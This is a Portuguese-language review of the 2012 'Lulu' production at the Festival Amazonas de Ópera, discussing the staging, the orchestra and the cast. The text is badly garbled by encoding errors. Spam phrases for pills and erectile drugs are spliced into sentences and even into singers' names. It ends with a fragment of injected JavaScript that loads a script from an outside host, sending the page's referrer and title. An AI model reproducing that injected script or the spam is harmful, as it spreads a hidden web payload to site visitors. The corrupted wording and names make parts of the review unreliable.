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Recordando: “Lulu” em Manaus, em 2012

Leonardo Marques deixa suas impressA�es, A� A�poca.

curso de excel avan?ado online gratis O Movimento.com aproveita esta pausa na programaA�A?o de A?peras e de mA?sica clA?ssica para publicar algumas crA�ticas antigas de nossos colaboradores. Vamos fazer juntos esta viagem a tempos passados.A�

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Lulu Cheap Purchase ganha A?tima montagem em Manaus

Apesar de alguns poucos excessos, encenaA�A?o ousada e elenco homogA?neo garantem o triunfo da A?pera de Berg online


Lulu
A� uma A?pera em um prA?logo, trA?s atos e oito cenas de Alban Berg, sobre libreto do prA?prio compositor, com base em duas peA�as do dramaturgo alemA?o Frank Wedekind: Erdgeist (O EspA�rito da Terra) e Die BA?chse der Pandora (A Caixa de Pandora). Escrita entre 1929 e 1935, e deixada incompleta, a obra estreou em 1937, sendo apresentada somente atA� o segundo ato.

Apenas em 1979, apA?s a morte da viA?va de Berg (que relutava em autorizar o complemento da partitura), o tambA�m austrA�aco Friedrich Cerha musicou o terceiro ato, e a A?pera pA?de enfim estrear completa, naquele mesmo ano, no OpA�ra, de Paris.

Lulu A�, ainda hoje, bastante moderna e arrojada, seja pelo aspecto musical, seja pelo seu conteA?do dramA?tico. A trama conta a histA?ria de uma bela e sedutora mulher de passado obscuro. Sobre este passado, ficamos sabendo somente de informaA�A�es esparsas e, por vezes, desencontradas. Protegida desde seus 12 ou 13 anos pelo Dr. SchA�n, o dono de um jornal, Lulu casa-se trA?s vezes e vA? morrer cada um de seus maridos, sendo o prA?prio SchA�n o A?ltimo deles, assassinado por ela (os dois primeiros morreram de ataque cardA�aco e suicA�dio).

Dona de uma sexualidade quase elA�trica, a protagonista nA?o sA? atrai os homens (e tambA�m uma condessa lA�sbica), como os enfeitiA�a com sua beleza e sensualidade, levando todos (inclusive ela mesma) A� ruA�na e A� degradaA�A?o. Sempre tendo amantes, ela vive entre a sociedade (SchA�n, Alwa, Condessa Geschwitz) e a marginalidade (Schigolch, Atleta, o MarquA?s traficante de escravas brancas). Em meio A� luxA?ria e A� promiscuidade, sua decadA?ncia atA� a prostituiA�A?o, incluindo a transmissA?o de uma DST a Alwa, A� nada mais do que a consequA?ncia de uma vida inconsequente e libertina, que vai de encontro A� moral hipA?crita vigente atA� os nossos dias.

Lulu A�, ao mesmo tempo, algoz e vA�tima. Conquista os homens para usA?-los; A� cruel ao ponto de dominar SchA�n psicologicamente; parece fria e calculista quando revela a Alwa que a mA?e deste (a primeira esposa de SchA�n) fora envenenada por ela. Por outro lado, desde crianA�a A� usada pelos homens, cobiA�ada por eles, que nA?o querem, ou nA?o sabem, entendA?-la nem amA?-la, mas tentam tirar o melhor proveito de sua companhia, seja sexual, financeiro, ou simplesmente o prazer de poder exibir A� sociedade uma mulher com a sua beleza. Como integrante desse mundo sA?rdido, onde pululam ameaA�as, chantagens e violA?ncia, Lulu parece nA?o ter olhos nem sensibilidade para perceber que a A?nica que, talvez, e apenas talvez, a tenha amado de verdade, seja a Condessa.

Abrindo o XVI Festival Amazonas de A�pera, a encenaA�A?o assinada pelo diretor argentino Gustavo Tambascio para o Teatro Amazonas tem excessos, como ambientar a aA�A?o no Brasil, mais especificamente no Rio de Janeiro (os dois primeiros atos), em PetrA?polis (3A� ato, cena 1) e em Manaus (3A� ato, cena 2), quando o libreto A� preciso quanto A� localizaA�A?o da trama, sendo Paris citada nominalmente por alguns personagens e ninguA�m imaginar uma figura marcante como Jack, o Estripador, em outro lugar que nA?o seja Londres. AlA�m disso, A� no mA�nimo estranho e apelativo colocar uma passista de escola de samba em meio A�s feras do circo que sA?o usadas como figurantes por toda a A?pera. Ou seja, uma atitude forA�ada e desnecessA?ria, apenas para justificar a concepA�A?o do diretor, segundo a qual os acontecimentos da trama ocorrem durante o Carnaval.

Se, no entanto, fizermos um esforA�o para desconsiderar tais excessos, de resto a encenaA�A?o de Tambascio A� bastante ousada, mas apropriada, com cenas que simulam o ato sexual e ainda masturbaA�A?o feminina e masculina, chegando mesmo A� simulaA�A?o de orgasmos (de Lulu, enquanto se masturba no primeiro ato; e de Alwa, no segundo ato, ao fazer sexo com a protagonista), mas tudo adequado ao contexto da trama, sem exageros, e sem abrir mA?o do humor nos momentos oportunos. O trabalho de direA�A?o dos solistas A� muito bem feito, e todos, sem exceA�A?o, tA?m A?tima interpretaA�A?o cA?nica.

Os cenA?rios de Leonardo Ceolin (do AteliA? La Tintota) sA?o simples (para nA?o perder o hA?bito de todos os cenA?rios de A?pera produzidos no Brasil), mas funcionais, em especial aqueles do terceiro ato. A� bonito o efeito da chuva na cena final. TambA�m a cargo do AteliA? La Tintota, A� muito bem construA�do o vA�deo (filme mudo) exibido durante o interlA?dio do segundo ato, conforme previsto no libreto.

Os figurinos de Rosa MagalhA?es sA?o de boa qualidade e totalmente integrados A� concepA�A?o de Tambascio. A luz de FA?bio Retti A� correta e os bailarinos do Corpo de DanA�a da AmazA?nia cumprem adequadamente o seu papel, representando os animais do circo do prA?logo e funcionando como figurantes nos atos subsequentes.

Na rA�cita de 22 de abril (a segunda), a Amazonas FilarmA?nica, encorpada pela Amazonas Band, esteve muito bem sob a direA�A?o de Luiz Fernando Malheiro. Em que pese um ou outro deslize ao longo de uma partitura bastante complexa, a interpretaA�A?o geral foi de bom nA�vel e bastante satisfatA?ria. MA�ritos tambA�m para o maestro, Diretor ArtA�stico do FAO, tanto pela conduA�A?o segura, quanto pela simples escolha de Lulu para integrar o Festival deste ano.

O elenco de solistas A� bastante homogA?neo e, na boa acA?stica do Teatro Amazonas, contribui muito para o bom resultado final da montagem. O baixo Roberto Paulo (um criado), a mezzosoprano Elaine Martorano cheap erexor male (uma decoradora), a soprano Tamar Freitas (uma garota de 15 anos) e a mezzo Andreia Souza (a mA?e da tal garota de 15 anos), nA?o comprometeram em suas pequenas partes. Estiveram bem o barA�tono VinA�cius Atique (um jornalista), o baixo Murilo Neves (um banqueiro, um diretor de teatro e outros papA�is mudos), e a mezzo Carolina Faria, que interpretou uma camareira, um valete e, especialmente, um estudante, com A?tima desenvoltura.

Muito bem estiveram o baixo Pepes do Valle, como um Schigolch ora sA�rio, mas quase sempre engraA�ado, e ainda os tenores FlA?vio Leite (um negro e, em especial, o Pintor) e Gilberto Chaves (o PrA�ncipe, um mordomo e o MarquA?s). A�timas performances destacaram os trabalhos do tenor Juremir Vieira (um Alwa bastante expressivo e lA�rico), do barA�tono Eduardo Amir how can i buy pain pills online (um Atleta cA?mico, bastante musical e de voz muito bem projetada, alA�m de um Domador insinuante) e do baixo-barA�tono holandA?s Matteo de Monti Order (um Jack, o Estripador, frio na medida, e um Dr. SchA�n adequadamente atormentado e bastante convincente).

NA?o hA? como nA?o dar destaque especial ao excelente trabalho de duas alemA?s. A mezzo-soprano Ulrika Tenstam encarnou com enorme propriedade a Condessa Geschwitz, empregando desejo e emoA�A?o a uma das personagens mais interessantes da trama. Dona de uma voz muito bem projetada e de um belo timbre escuro, Tenstam tirou de letra a interpretaA�A?o da nobre lA�sbica apaixonada por Lulu, e foi bastante expressiva nos versos que encerram a A?pera.

A excelente soprano Purchase Anke Berndt foi o destaque mA?ximo da produA�A?o. Dona de amplos recursos vocais, capaz de atingir os superagudos sem dificuldades, soube valorizar cada nuance da complexa personagem-tA�tulo. Lulu pode ser compreendida, dentre outras possibilidades, como um animal indomA?vel, que captura sua presa, tira dela o mA?ximo possA�vel para saciar a sua a�?fomea�? e, quando esta presa nA?o lhe tem mais serventia, deixa-a em frangalhos. A intensa interpretaA�A?o de Berndt, em que cada gesto e cada olhar nA?o A� desprovido de um significado importante, alcanA�a seu ponto mais alto no final do segundo ato, no belo dueto de amor com Alwa (muito bem acompanhada por Juremir Vieira), e em toda a cena final, na qual a personagem jA? vive como prostituta atA� ser assassinada por Jack. Uma performance marcante.

Por tudo o que foi dito acima, nA?o A� difA�cil concluir que Lulu foi um grande acerto, principalmente quando A� fA?cil perceber que a produA�A?o A� o fruto de um trabalho A?rduo e executado por todos com profissionalismo e dedicaA�A?o.

Pena que o pA?blico, pouco acostumado A� mA?sica do sA�culo XX, tenha reagido com frieza aos dois primeiros atos e somente no fim da A?pera tenha demonstrado mais entusiasmo ao aplaudir os cantores, menos por verdadeira empolgaA�A?o que pela praxe do final de uma noite na A?pera. Mas isso A� atA� natural, e a A?nica maneira de mudar esse comportamento A� sempre oferecer mA?sica moderna ao pA?blico, como o fez a direA�A?o do FAO na ediA�A?o deste ano.

Para 2013, a notA�cia que corre A� que o Festival pretende apresentar Parsifal, em comemoraA�A?o aos 200 anos de nascimento de Wagner. DifA�cil imaginar outro teatro brasileiro capaz de levar A� cena lA�rica a A?ltima A?pera do gA?nio alemA?o. A se confirmar a notA�cia, corramos todos a Manaus.

 

PS: segundo informaA�A�es de funcionA?rios do Teatro Amazonas, desde a estreia de Lulu nA?o havia um programa de sala oficial do Festival para ser vendido ao pA?blico. De acordo com os funcionA?rios, o mesmo fora encomendado, mas nA?o chegou a tempo das duas primeiras rA�citas por atraso da grA?fica. Havia apenas uma espA�cie de folder com o resumo dos argumentos das A?peras do Festival, que sequer citava os nomes dos cantores. Falha imperdoA?vel.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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